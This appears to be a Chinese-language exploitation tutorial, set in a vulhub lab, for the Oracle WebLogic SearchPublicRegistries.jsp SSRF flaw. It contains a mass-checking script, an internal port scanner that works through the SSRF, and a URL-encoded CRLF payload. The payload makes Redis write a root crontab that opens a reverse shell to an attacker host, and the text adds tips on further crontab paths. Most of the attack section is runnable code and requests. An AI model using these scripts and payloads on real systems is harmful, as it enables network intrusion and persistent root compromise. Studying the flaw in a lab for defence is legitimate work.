漏洞条件
- Oracle WebLogic Server 10.0.2, 10.3.6
漏洞原理
WebLogic的SearchPublicReqistries.jsp接口存在SSRF漏洞,如果服务端或内网存在Redis未授权访问漏洞等则可以进一步打漏洞组合拳进行攻击利用。
环境搭建
直接使用vulhub:
https://vulhub.org/#/environments/weblogic/ssrf/
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
漏洞利用
SSRF
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001
:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
此时返回的错误信息是:
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
访问不存在的地址:
此时返回的错误信息是:
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7000'
可知二者返回的内容是不一样的,因此可以根据该差异来判断目标ip或端口是否是开放的,从而进行SSRF攻击。
自动化检测weblogic的ssrf(需要在当前目录下创建一个domain.txt文件,里面就写Weblogic的访问方式,保存为check_weblogic_ssrf.py)
domain.txt
http://your-ip:7001/
check_weblogic_ssrf.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
检测结果:
然后就是探测内网开放的ip和端口:
根据响应返回内容看到网络是通的,该内网IP存在Redis服务。
探测内网开放端口脚本:
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://xx.xx.xx.xx:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "xx.xx.xx"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
可以看到检测出来的结果是手工检测是相同的:
接下来就是攻击内网的redis服务了。
攻击redis
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
写入crontab计划通过bash反弹shell:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2Fport%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n
”,也就是“%0D%0A
”。
将url编码后的字符串放在ssrf的域名后面,发送:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在Redis服务机子上成功写入crontab:
成功通过crontab定时任务反弹shell:
crontab写入Tips:
/etc/crontab
/etc/cron.d/*
:将任意文件写到该目录下,效果和crontab相同,格式也要一致,并且在该目录操作可以做到不覆盖任何其他文件的情况进行弹shell;/var/spool/cron/root
:CentOS系统下root用户的cron文件;/var/spool/cron/crontabs/root
:Debian系统下root用户的cron文件;
参考资料
浅析WebLogic SSRF(CVE-2014-4210)